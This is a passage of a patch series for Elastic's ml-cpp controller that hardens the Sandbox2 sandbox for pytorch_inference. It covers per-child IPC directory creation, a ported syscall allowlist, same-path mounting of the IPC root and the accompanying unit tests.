$TMPDIR/ml-child-ipc/ to already exist. This is the + // *other* production call site that reaches that function (the one + // inside CSandboxedProcessSpawner_Linux.cc::spawn() is the other), and + // it runs strictly before spawn() dispatches to either backend - on the + // legacy route just as much as the Sandbox2 route, since the signal + // below always wants a real deployment_id. Ensure the directory exists + // here too, rather than relying on the Sandbox2 spawner (which may not + // even run on this route) to have already done it. A creation failure + // is not logged again here: an empty deployment_id in the signal is + // itself the observable symptom, and the Sandbox2 spawner (when that + // route is actually taken) logs the failure with detail. + ml::sandbox::ensureChildIpcDirectory(trustedTmpDir, args); return ml::sandbox::validateChildIpcLaunchSpec(trustedTmpDir, args).s_Spec.s_ChildId; } diff --git a/include/sandbox/CPytorchInferenceSandboxPolicy.h b/include/sandbox/CPytorchInferenceSandboxPolicy.h index e0e08b19ed..d366130040 100644 --- a/include/sandbox/CPytorchInferenceSandboxPolicy.h +++ b/include/sandbox/CPytorchInferenceSandboxPolicy.h @@ -86,9 +86,53 @@ struct SChildIpcValidationResult { //! trustedTmpDir must already be the canonical form of the operator's //! Environment.tmpDir(); this function does not itself decide what counts //! as trusted. +//! +//! realpath() (POSIX) / _fullpath() (Windows) require their target to +//! already exist, so this can only succeed for a whose +//! $TMPDIR/ml-child-ipc/ directory has already been created - see +//! ensureChildIpcDirectory() below, which every caller must run first. SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedTmpDir, const std::vector& args); +//! Outcome of ensureChildIpcDirectory(). +enum class EChildIpcDirectoryOutcome { + E_Ready, //!< $TMPDIR/ml-child-ipc/ exists now - freshly + //!< created, or already present (a retry/restart reusing the + //!< same child-id). + E_NoPathOptions, //!< no path-bearing launch option had the expected + //!< $TMPDIR/ml-child-ipc/ literal shape, so + //!< there was no directory to create. + //!< validateChildIpcLaunchSpec() still runs and reports + //!< the precise rejection reason for such an argument. + E_CreationFailed //!< mkdir() failed for a reason other than "already + //!< exists" (permissions, ENOSPC, a non-directory in + //!< the way, ...). +}; + +//! Create $TMPDIR/ml-child-ipc/ (mode 0700) for the single +//! implied by args' path-bearing launch options, *before* +//! validateChildIpcLaunchSpec() ever calls realpath()/canonicalize() on it. +//! This is the "native controller creates the per-child IPC directory" half +//! of the contract: Elasticsearch only ever constructs the path *strings* +//! it passes as --input=/--output=/--restore=/--logPipe= arguments; the +//! controller is responsible for making the directory those paths live in +//! exist (and be mode 0700) before anything tries to resolve or mount it. +//! Both production call sites that eventually reach +//! validateChildIpcLaunchSpec() - CSandboxedProcessSpawner_Linux.cc's +//! spawn() and CProcessSpawnerRouter::spawn() (via deriveDeploymentId(), for +//! the sandbox2_launch signal, which runs even on the legacy route) - must +//! call this first. +//! +//! Idempotent: an already-existing directory is E_Ready, not an error, so a +//! retry/restart that reuses the same child-id never fails here. Uses only +//! a *literal* (pre-canonicalization) structural match of trustedTmpDir +//! against args - it is deliberately not a security gate. The real +//! canonical-base/symlink-alias/depth checks still run afterwards, in +//! validateChildIpcLaunchSpec(), against whatever directory this function +//! creates or finds already there. +EChildIpcDirectoryOutcome ensureChildIpcDirectory(const std::string& trustedTmpDir, + const std::vector& args); + #ifdef SANDBOX2_AVAILABLE //! Builds the filesystem and network-shape portion of the pytorch_inference diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index 9b50b314c8..4caa4d72a7 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -11,12 +11,15 @@ #include #ifdef _WIN32 +#include // _mkdir #include // _fullpath, _MAX_PATH #else #include // PATH_MAX -#include +#include // mkdir #endif +#include + #include #include #include @@ -168,6 +171,29 @@ bool childIpcRootHasExpectedShape(const std::string& childIpcRoot) { #endif // SANDBOX2_AVAILABLE +//! mkdir(dir, 0700), tolerating "already exists" as success (a retry/ +//! restart reusing the same child-id must not fail here) so callers can +//! treat this as idempotent "ensure this directory exists with the right +//! mode" rather than a one-shot creation. Any other failure (permissions, +//! ENOSPC, a non-directory already occupying \p dir, a missing parent, ...) +//! is reported back to the caller rather than silently ignored. +bool makeChildIpcDirectory(const std::string& dir) { +#ifdef _WIN32 + // Nothing wires this up on Windows today (Sandbox2 is Linux-only), but + // this TU must still compile everywhere - same rationale as + // canonicalize()'s _WIN32 branch above. _mkdir() has no mode parameter; + // that is inert until a Windows caller exists. + if (::_mkdir(dir.c_str()) == 0) { + return true; + } + return errno == EEXIST; +#else + if (::mkdir(dir.c_str(), 0700) == 0) { + return true; + } + return errno == EEXIST; +#endif +} } // namespace SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedTmpDir, @@ -311,6 +337,85 @@ SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedT return result; } +EChildIpcDirectoryOutcome ensureChildIpcDirectory(const std::string& trustedTmpDir, + const std::vector& args) { + // Strip a trailing slash so the concatenation below never produces "//". + std::string base{trustedTmpDir}; + while (base.empty() == false && base.back() == '/') { + base.pop_back(); + } + const std::string mlChildIpcDir{base + "/ml-child-ipc"}; + const std::string expectedPrefix{mlChildIpcDir + "/"}; + + bool sawPathOption{false}; + std::string childId; + + for (const std::string& arg : args) { + const std::size_t eqPos = arg.find('='); + if (eqPos == std::string::npos) { + continue; + } + + std::string optionName{arg.substr(0, eqPos)}; + while (optionName.empty() == false && optionName[0] == '-') { + optionName.erase(0, 1); + } + if (isPathOptionName(optionName) == false) { + continue; + } + sawPathOption = true; + + const std::string value{eqPos + 1 < arg.size() ? arg.substr(eqPos + 1) + : std::string{}}; + if (value.empty() || value[0] != '/') { + // Malformed - validateChildIpcLaunchSpec() below reports the + // precise reason (E_NotAbsolute); nothing to create here. + continue; + } + + const std::vector components{splitPathComponents(value)}; + if (containsDotDot(components) || components.size() < 2) { + continue; + } + + const std::size_t lastSlash = value.rfind('/'); + const std::string literalParent{value.substr(0, lastSlash)}; + + // A literal (pre-canonicalization) structural match against + // trustedTmpDir/ml-child-ipc/. This is + // deliberately not the security check - it only decides what this + // function is willing to mkdir(). validateChildIpcLaunchSpec() + // still performs the real canonical-base/symlink-alias checks + // afterwards against whatever directory this creates or finds. + if (literalParent.compare(0, expectedPrefix.size(), expectedPrefix) != 0) { + continue; + } + const std::string candidateChildId{literalParent.substr(expectedPrefix.size())}; + if (candidateChildId.empty() || candidateChildId.find('/') != std::string::npos) { + continue; // not exactly one component below ml-child-ipc. + } + + // One child-id per spawn() call: the first path option that matches + // the expected shape is enough to know which directory to create. + // A second option naming a *different* child-id is a caller bug + // that validateChildIpcLaunchSpec() below rejects explicitly + // (E_ChildIdMismatch); this function does not need to pre-empt + // that here. + childId = candidateChildId; + break; + } + + if (sawPathOption == false || childId.empty()) { + return EChildIpcDirectoryOutcome::E_NoPathOptions; + } + + if (makeChildIpcDirectory(mlChildIpcDir) == false || + makeChildIpcDirectory(mlChildIpcDir + "/" + childId) == false) { + return EChildIpcDirectoryOutcome::E_CreationFailed; + } + return EChildIpcDirectoryOutcome::E_Ready; +} + #ifdef SANDBOX2_AVAILABLE absl::StatusOr diff --git a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc index fdfdff32c5..091ce29e96 100644 --- a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc +++ b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc @@ -414,12 +414,28 @@ bool CSandboxedProcessSpawner::spawn(const std::string& processPath, fullArgs.push_back(arg); } + // Create $TMPDIR/ml-child-ipc/ (mode 0700) before anything + // tries to resolve it: validateChildIpcLaunchSpec() below does live + // realpath() calls, which require the target to already exist. This is + // the native controller's half of the contract - Elasticsearch only + // ever constructs the path *strings* it passes on the command line, it + // never creates the directory those paths live in. A creation failure + // for a reason other than "already exists" (permissions, disk full, + // ...) is logged distinctly here, then still flows into the normal + // validation call below, which fails closed with a defined rejection + // reason (E_CanonicalizationFailed) rather than a crash or a silent + // pass. + const char* tmpDirEnv{::getenv("TMPDIR")}; + const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + if (ensureChildIpcDirectory(trustedTmpDir, args) == EChildIpcDirectoryOutcome::E_CreationFailed) { + LOG_ERROR(<< "Failed to create the per-child IPC directory under " << trustedTmpDir + << "/ml-child-ipc for " << processPath << ": " << ::strerror(errno)); + } + // Validate every path-bearing launch argument against the pinned // child-root contract *before* a policy is ever constructed. s_Ok == // false must fail the spawn outright - never fall back to a // partially-built policy. - const char* tmpDirEnv{::getenv("TMPDIR")}; - const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; const SChildIpcValidationResult validated{validateChildIpcLaunchSpec(trustedTmpDir, args)}; if (validated.s_Ok == false) { std::ostringstream rejected; diff --git a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc index 60c8e86aee..bf8d19dbb8 100644 --- a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc +++ b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc @@ -72,6 +72,44 @@ class CTempChildIpcFixture { std::string m_ChildRoot; }; +//! Creates only the *trusted base* directory ($TMPDIR itself) - deliberately +//! leaving ml-child-ipc/ absent, matching the real, pre-fix +//! production bug: Elasticsearch/CCommandProcessor only ever constructs the +//! --input=/--output=/--restore=/--logPipe= path *strings*; nothing had +//! created the directory those paths live in by the time +//! validateChildIpcLaunchSpec()'s realpath() calls ran. Tests using this +//! fixture drive ensureChildIpcDirectory() themselves, rather than +//! mkdir()-ing the child directory in setup the way CTempChildIpcFixture +//! does. +class CTrustedBaseOnlyFixture { +public: + CTrustedBaseOnlyFixture() { + char pathTemplate[] = "/tmp/ml_sandbox_policy_nodir_test_XXXXXX"; + char* created = ::mkdtemp(pathTemplate); + BOOST_TEST_REQUIRE(created != nullptr); + m_LiteralBase.assign(created); + + char resolved[PATH_MAX]; + BOOST_TEST_REQUIRE(::realpath(m_LiteralBase.c_str(), resolved) != nullptr); + m_CanonicalBase.assign(resolved); + } + + ~CTrustedBaseOnlyFixture() { + ::rmdir((m_CanonicalBase + "/ml-child-ipc/child-ensure-1").c_str()); + ::rmdir((m_CanonicalBase + "/ml-child-ipc").c_str()); + if (m_LiteralBase != m_CanonicalBase) { + ::rmdir(m_LiteralBase.c_str()); + } + ::rmdir(m_CanonicalBase.c_str()); + } + + const std::string& canonicalTrustedBase() const { return m_CanonicalBase; } + +private: + std::string m_LiteralBase; + std::string m_CanonicalBase; +}; + } // namespace BOOST_AUTO_TEST_SUITE(CPytorchInferenceSandboxPolicyTest) @@ -263,4 +301,74 @@ BOOST_AUTO_TEST_CASE(testRejectsEmptyValueForRecognizedPathOptionEvenAmongValidO ml::sandbox::EChildIpcPathRejection::E_NotAbsolute); } +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryCreatesMissingDirectoryBeforeValidation) { + // Reproduces the real bug: with neither ml-child-ipc nor the per-child + // directory created yet, validateChildIpcLaunchSpec() must fail closed + // (realpath() has nothing to resolve) - and after + // ensureChildIpcDirectory() runs, the exact same validation call must + // now succeed, proving the directory-creation step is what was missing, + // not a mis-ordering of an already-existing step. + CTrustedBaseOnlyFixture fixture; + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo", + "--output=" + childRoot + "/output.fifo"}; + + const ml::sandbox::SChildIpcValidationResult before{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(before.s_Ok == false); + + const ml::sandbox::EChildIpcDirectoryOutcome outcome{ + ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args)}; + BOOST_REQUIRE(outcome == ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + + struct stat childRootStat; + BOOST_TEST_REQUIRE(::stat(childRoot.c_str(), &childRootStat) == 0); + BOOST_REQUIRE_EQUAL(static_cast(childRootStat.st_mode & 0777), 0700); + + const ml::sandbox::SChildIpcValidationResult after{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(after.s_Ok); + BOOST_TEST_REQUIRE(after.s_Rejected.empty()); + BOOST_REQUIRE_EQUAL(after.s_Spec.s_ChildId, "child-ensure-1"); +} + +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryIsIdempotentAcrossRetries) { + // A retry/restart for the same child-id must not fail just because the + // directory from the earlier attempt is still there. + CTrustedBaseOnlyFixture fixture; + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo"}; + + BOOST_REQUIRE(ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args) == + ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + BOOST_REQUIRE(ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args) == + ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + + const ml::sandbox::SChildIpcValidationResult result{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(result.s_Ok); +} + +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryFailsClosedOnCreationFailure) { + // A creation failure (here: an unwritable trusted base, standing in for + // permissions/ENOSPC on a real host) must report E_CreationFailed - not + // crash, and not let validateChildIpcLaunchSpec() somehow still pass. + CTrustedBaseOnlyFixture fixture; + BOOST_TEST_REQUIRE(::chmod(fixture.canonicalTrustedBase().c_str(), 0500) == 0); + + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo"}; + + const ml::sandbox::EChildIpcDirectoryOutcome outcome{ + ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args)}; + BOOST_REQUIRE(outcome == ml::sandbox::EChildIpcDirectoryOutcome::E_CreationFailed); + + const ml::sandbox::SChildIpcValidationResult result{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(result.s_Ok == false); + + // Restore write permission so the fixture destructor can clean up. + ::chmod(fixture.canonicalTrustedBase().c_str(), 0700); +} + BOOST_AUTO_TEST_SUITE_END() From 8a6f2faea465016e936ae1438f1a64266421468c Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy Date: Fri, 11 Sep 2026 17:21:28 +0200 Subject: [PATCH 31/36] Port the Sandbox2-specific syscall allowlist from PR #2873 The clean rebuild's Sandbox2 policy builder grants syscalls to pytorch_inference by looping over legacyBpfAllowedSyscalls() alone - the same list used to build the legacy in-process BPF filter. That is not sufficient: Sandbox2's namespace/threading setup makes pytorch_inference exercise syscalls (scheduling, epoll, pipes, directory/file management for forecast temp storage) that the simpler legacy filter never needed a grant for, since it never sets up namespaces or Sandbox2's own thread/monitor machinery. elastic/ml-cpp#2873's enhancement/sandbox2 branch already solved this with a dedicated sandbox2ExplicitSyscalls() list, granted in addition to what Sandbox2's PolicyBuilder helpers (AllowRead/AllowWrite/AllowOpen/etc.) cover implicitly. That list was never carried into this rebuild's CPytorchInferenceSyscallAllowlist.h, so any syscall in it (confirmed via a real run: sched_getaffinity) got denied and killed the sandboxed process. Ports sandbox2ExplicitSyscalls() and sandbox2HelperCoveredSyscalls() from the original branch, wires the explicit list into buildPytorchInferencePolicy() alongside the existing legacy-list loop, and adds sandbox2AllowsAllLegacySyscalls() plus a regression test so a future change to legacyBpfAllowedSyscalls() without a corresponding Sandbox2 grant fails loudly instead of silently regressing. --- .../seccomp/CMlLegacyBpfSyscallAllowlist.h | 182 ++++++++++++++++++ lib/sandbox/CPytorchInferenceSandboxPolicy.cc | 9 + .../unittest/CSeccompFilterBuilderTest.cc | 24 +++ 3 files changed, 215 insertions(+) diff --git a/include/seccomp/CMlLegacyBpfSyscallAllowlist.h b/include/seccomp/CMlLegacyBpfSyscallAllowlist.h index f15b5f277d..bd7c060178 100644 --- a/include/seccomp/CMlLegacyBpfSyscallAllowlist.h +++ b/include/seccomp/CMlLegacyBpfSyscallAllowlist.h @@ -15,6 +15,7 @@ #include #ifdef __linux__ +#include #include #endif @@ -124,6 +125,187 @@ inline std::vector legacyBpfAllowedSyscalls() { kLegacyBpfAllowedSyscalls + std::size(kLegacyBpfAllowedSyscalls)}; } +//! Syscalls that must be explicitly granted (via AllowSyscall()) in the Sandbox2 +//! policy built by buildPytorchInferencePolicy(), on top of what Sandbox2's own +//! PolicyBuilder helpers (AllowRead/AllowWrite/AllowOpen/etc., see +//! sandbox2HelperCoveredSyscalls() below) already cover. Sandbox2's namespace and +//! threading setup make pytorch_inference exercise syscalls (scheduling, epoll, +//! pipes, directory/file management for forecast temp storage) that the simpler +//! legacy in-process BPF filter never needed a grant for, so this list is NOT a +//! subset check against legacyBpfAllowedSyscalls() - it is carried forward from +//! PR #2873's enhancement/sandbox2 branch (CPytorchInferenceSyscallAllowlist.h, +//! appendSandbox2ExplicitSyscalls()), which this clean rebuild's Sandbox2 policy +//! builder omitted; see CSeccompFilterBuilderTest.cc for the regression test that +//! keeps it from being silently dropped again. +inline std::vector sandbox2ExplicitSyscalls() { + std::vector syscalls { + __NR_sched_yield, + __NR_sched_getaffinity, + __NR_sched_setaffinity, + __NR_sched_getparam, + __NR_sched_getscheduler, + __NR_clone, + ML_NR_clone3, + __NR_set_tid_address, + __NR_set_robust_list, + ML_NR_rseq, + __NR_clock_gettime, + __NR_clock_getres, + __NR_clock_nanosleep, + __NR_gettimeofday, + __NR_nanosleep, + __NR_times, + __NR_epoll_create1, + __NR_epoll_ctl, + __NR_epoll_pwait, + __NR_eventfd2, + __NR_ppoll, + __NR_pselect6, + __NR_ioctl, + __NR_fcntl, + __NR_pipe2, + __NR_dup, + __NR_dup3, + __NR_lseek, + __NR_ftruncate, + __NR_readlinkat, + __NR_faccessat, + __NR_getdents64, + __NR_getcwd, + __NR_unlinkat, + __NR_renameat, + __NR_mkdirat, + __NR_mknodat, +#ifdef __NR_mknod + __NR_mknod, +#endif +#ifdef __NR_unlink + __NR_unlink, +#endif +#ifdef __NR_rmdir + __NR_rmdir, +#endif +#ifdef __NR_mkdir + __NR_mkdir, +#endif +#ifdef __NR_rename + __NR_rename, +#endif +#ifdef __NR_readlink + __NR_readlink, +#endif +#ifdef __NR_access + __NR_access, +#endif +#ifdef __NR_dup2 + __NR_dup2, +#endif + __NR_mprotect, + __NR_mremap, + __NR_madvise, + __NR_munmap, + __NR_brk, + __NR_sysinfo, + __NR_uname, + __NR_prlimit64, + __NR_getrusage, + __NR_prctl, +#ifdef __NR_arch_prctl + __NR_arch_prctl, +#endif + __NR_wait4, + __NR_exit, + __NR_getuid, + __NR_getgid, + __NR_geteuid, + __NR_getegid, + __NR_setpriority, + __NR_getpriority, + __NR_tgkill, + __NR_statfs, + __NR_connect, +#ifdef __NR_time + __NR_time, +#endif +#ifdef __NR_getdents + __NR_getdents, +#endif + }; + return syscalls; +} + +//! Syscalls covered by Sandbox2 PolicyBuilder helpers (AllowRead/AllowWrite/ +//! AllowOpen/etc. in buildPytorchInferencePolicy()) that are also present in +//! legacyBpfAllowedSyscalls() - tracked so sandbox2AllowsAllLegacySyscalls() can +//! assert Sandbox2 never grants strictly less than the legacy filter without +//! requiring every one of these to be repeated in sandbox2ExplicitSyscalls(). +inline std::vector sandbox2HelperCoveredSyscalls() { + std::vector syscalls { + __NR_read, + __NR_write, + __NR_writev, + __NR_openat, +#ifdef __NR_open + __NR_open, +#endif +#ifdef __NR_stat + __NR_stat, +#endif +#ifdef __NR_lstat + __NR_lstat, +#endif + __NR_close, + __NR_mmap, + __NR_munmap, + __NR_mprotect, + __NR_mremap, + __NR_madvise, + __NR_brk, + __NR_futex, + __NR_clone, + ML_NR_clone3, + __NR_set_robust_list, + ML_NR_rseq, + __NR_rt_sigaction, + __NR_rt_sigreturn, + __NR_rt_sigprocmask, + __NR_getpid, + __NR_getrandom, + __NR_exit, + __NR_exit_group, + __NR_newfstatat, + __NR_fstat, + __NR_getuid, + __NR_getgid, + __NR_geteuid, + __NR_getegid, + ML_NR_statx, + }; + return syscalls; +} + +//! Returns true when every legacy BPF syscall is also granted by the Sandbox2 +//! policy, either explicitly (sandbox2ExplicitSyscalls()) or via a PolicyBuilder +//! helper (sandbox2HelperCoveredSyscalls()). A regression here means a future +//! addition to legacyBpfAllowedSyscalls() was not carried over to the Sandbox2 +//! side, which is exactly the class of gap that dropped sandbox2ExplicitSyscalls() +//! from this rebuild in the first place. +inline bool sandbox2AllowsAllLegacySyscalls() { + std::set allowed; + for (int nr : sandbox2ExplicitSyscalls()) { + allowed.insert(nr); + } + for (int nr : sandbox2HelperCoveredSyscalls()) { + allowed.insert(nr); + } + for (int nr : legacyBpfAllowedSyscalls()) { + if (allowed.find(nr) == allowed.end()) { + return false; + } + } + return true; +} + #endif // __linux__ } // namespace seccomp diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index 4caa4d72a7..45ce1b9e32 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -470,6 +470,15 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, policyBuilder.AllowSyscall(syscallNr); } + // Sandbox2's namespace/threading setup exercises syscalls (scheduling, + // epoll, pipes, directory management) that the legacy in-process filter + // above never needed a grant for - granting only legacyBpfAllowedSyscalls() + // here is not sufficient. See sandbox2ExplicitSyscalls()'s doc comment for + // why this is a separate list rather than a superset relationship. + for (int syscallNr : seccomp::pytorch_inference::sandbox2ExplicitSyscalls()) { + policyBuilder.AllowSyscall(syscallNr); + } + policyBuilder.AddDirectory(binDir, /*is_ro=*/true); policyBuilder.AddDirectory(libDir, /*is_ro=*/true); diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 1fee00ab2e..54c3f058b6 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -204,6 +204,30 @@ BOOST_AUTO_TEST_CASE(testCarryForwardSyscallsPresent) { #endif } +BOOST_AUTO_TEST_CASE(testSandbox2ExplicitSyscallsCarriedForwardFromPr2873) { + // The clean rebuild's Sandbox2 policy builder originally granted only + // legacyBpfAllowedSyscalls(), which is not sufficient: Sandbox2's + // namespace/threading setup exercises syscalls (scheduling, epoll, pipes, + // directory management) the legacy in-process filter never needed. PR + // #2873's enhancement/sandbox2 branch already had a dedicated + // sandbox2ExplicitSyscalls() list for exactly this; this regression test + // keeps a future rewrite from dropping it again the same way. + const std::set explicitGrants{ + ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().begin(), + ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().end()}; + + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_getaffinity) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_setaffinity) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_epoll_pwait) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_pipe2) == 1); + + // Every syscall the legacy filter allows must also be reachable under + // Sandbox2, either explicitly or via a PolicyBuilder helper - otherwise a + // future addition to legacyBpfAllowedSyscalls() silently regresses + // Sandbox2 support without either declaration noticing. + BOOST_TEST_REQUIRE(ml::seccomp::pytorch_inference::sandbox2AllowsAllLegacySyscalls()); +} + #endif // __linux__ BOOST_AUTO_TEST_CASE(testDegradedModeAttestationMarker) { From c993d135186a71d8008ce1a140e53f356a9eecb4 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Sat, 12 Sep 2026 19:01:47 +0200 Subject: [PATCH 32/36] Mount the per-child IPC root at the same path inside and outside Sandbox2 buildPytorchInferenceFilesystemPolicy() mounted spec.s_ChildIpcRoot into the sandbox at a fixed remapped path (/run/elastic/ml-ipc) instead of its own host path. Elasticsearch constructs pytorch_inference's --input=/--output=/--restore=/--logPipe= argv using the real host path under $TMPDIR/ml-child-ipc/, so once Sandbox2 enforcement actually engaged (after the previous two fixes), pytorch_inference could not find its own pipes: it looked for them at the host path baked into its argv, which does not exist inside its own mount namespace once mounted under a different name. Mounts the child IPC root at the same absolute path inside and outside the sandbox instead, matching the convention every other mount in this policy already uses (AddDirectory, not AddDirectoryAt). Updates the doc comments in CPytorchInferenceSandboxPolicy.h and build.gradle's controller-protocol contract comment that described the old remap, and updates CPytorchInferenceSandboxPolicyMechanismTest_Linux's probe invocation to pass the host-visible childRoot instead of the now-removed hardcoded /run/elastic/ml-ipc literal. Verified on the devbox: CPytorchInferenceSandboxPolicyMechanismTest_Linux passes (ipc_readwrite: allowed), and PyTorchSandboxIT#testConcurrentDeploymentsDoNotCollideUnderIsolatedChildIpcDir passes end-to-end against a rebuilt ml-cpp artifact (0 failures, 0 errors). --- build.gradle | 3 ++- .../sandbox/CPytorchInferenceSandboxPolicy.h | 19 ++++++++++++------- lib/sandbox/CPytorchInferenceSandboxPolicy.cc | 13 ++++++++----- ...ferenceSandboxPolicyMechanismTest_Linux.cc | 15 +++++++++------ 4 files changed, 31 insertions(+), 19 deletions(-) diff --git a/build.gradle b/build.gradle index f53fb39547..94d7e164ad 100644 --- a/build.gradle +++ b/build.gradle @@ -213,7 +213,8 @@ task buildZip(type: Zip) { // future breaking change to either (a) the controller's // --disableSandbox/--requireSandbox token semantics (controller-only // metadata, never forwarded to the child), or (b) the per-child IPC route - // contract ($TMPDIR/ml-child-ipc/ -> /run/elastic/ml-ipc). + // contract ($TMPDIR/ml-child-ipc/, mounted at the same path + // inside and outside the sandbox). from("3rd_party") { include "controller-protocol.version" } diff --git a/include/sandbox/CPytorchInferenceSandboxPolicy.h b/include/sandbox/CPytorchInferenceSandboxPolicy.h index d366130040..fc2e3f78c2 100644 --- a/include/sandbox/CPytorchInferenceSandboxPolicy.h +++ b/include/sandbox/CPytorchInferenceSandboxPolicy.h @@ -58,8 +58,9 @@ struct SChildIpcLaunchSpec { std::string s_ChildId; //! Canonical $TMPDIR/ml-child-ipc/ - the directory the native //! controller creates (mode 0700) before policy construction, and the - //! only host directory CSandboxedProcessSpawner maps to - //! /run/elastic/ml-ipc. Empty iff s_ChildId is empty. + //! only host directory CSandboxedProcessSpawner mounts into the sandbox + //! (at this same path - see buildPytorchInferenceFilesystemPolicy). + //! Empty iff s_ChildId is empty. std::string s_ChildIpcRoot; //! Canonical paths of every accepted path-bearing argument, always //! s_ChildIpcRoot plus exactly one leaf component. @@ -136,11 +137,15 @@ EChildIpcDirectoryOutcome ensureChildIpcDirectory(const std::string& trustedTmpD #ifdef SANDBOX2_AVAILABLE //! Builds the filesystem and network-shape portion of the pytorch_inference -//! Sandbox2 policy: minimized fixed mounts, a private bounded tmpfs at /tmp, -//! the one per-child IPC root mapped to /run/elastic/ml-ipc, and the syscall -//! allowlist shared with the legacy BPF filter -//! (seccomp::legacyBpfAllowedSyscalls, kept in sync per that header's own -//! comment). Does not call TryBuild() - the caller owns final policy +//! Sandbox2 policy: minimized fixed mounts (fixedMountDecisions, +//! allowlistedEtcFiles - a read-only directory decision is mounted only if +//! its source actually exists on this host, since Sandbox2 fails the whole +//! spawn on a missing source), a private bounded tmpfs at /tmp, the one per-child +//! IPC root mounted at the same path inside and outside the sandbox (so +//! Elasticsearch's host-path argv still resolves), and the syscall allowlist shared +//! with the legacy BPF filter (seccomp::legacyBpfAllowedSyscalls and +//! seccomp::sandbox2ExplicitSyscalls, kept in sync per those headers' own +//! comments). Does not call TryBuild() - the caller owns final policy //! construction so tests can inspect the builder before commit. Returns an //! error when validated.s_Ok is false or s_ChildIpcRoot is not a canonical //! $TMPDIR/ml-child-ipc/ directory. diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index 45ce1b9e32..6f42e3199e 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -475,7 +475,7 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, // above never needed a grant for - granting only legacyBpfAllowedSyscalls() // here is not sufficient. See sandbox2ExplicitSyscalls()'s doc comment for // why this is a separate list rather than a superset relationship. - for (int syscallNr : seccomp::pytorch_inference::sandbox2ExplicitSyscalls()) { + for (int syscallNr : seccomp::sandbox2ExplicitSyscalls()) { policyBuilder.AllowSyscall(syscallNr); } @@ -527,10 +527,13 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, // Private, bounded tmpfs - never the host's shared /tmp. policyBuilder.AddTmpfs("/tmp", tmpfsSizeBytes); - // The one per-child IPC root, mapped read-write to a fixed in-sandbox - // path. validated.s_Ok and s_ChildIpcRoot shape were checked above. - policyBuilder.AddDirectoryAt(validated.s_Spec.s_ChildIpcRoot, "/run/elastic/ml-ipc", - /*is_ro=*/false); + // The one per-child IPC root, mapped read-write at the same path inside + // and outside the sandbox. validated.s_Ok and s_ChildIpcRoot shape were + // checked above. Same-path (not a remapped in-sandbox path) because + // pytorch_inference receives its --input=/--output=/--restore=/--logPipe= + // argv from Elasticsearch as host paths under this root; a remap would + // leave those paths unresolvable inside the sandbox's own mount namespace. + policyBuilder.AddDirectory(validated.s_Spec.s_ChildIpcRoot, /*is_ro=*/false); 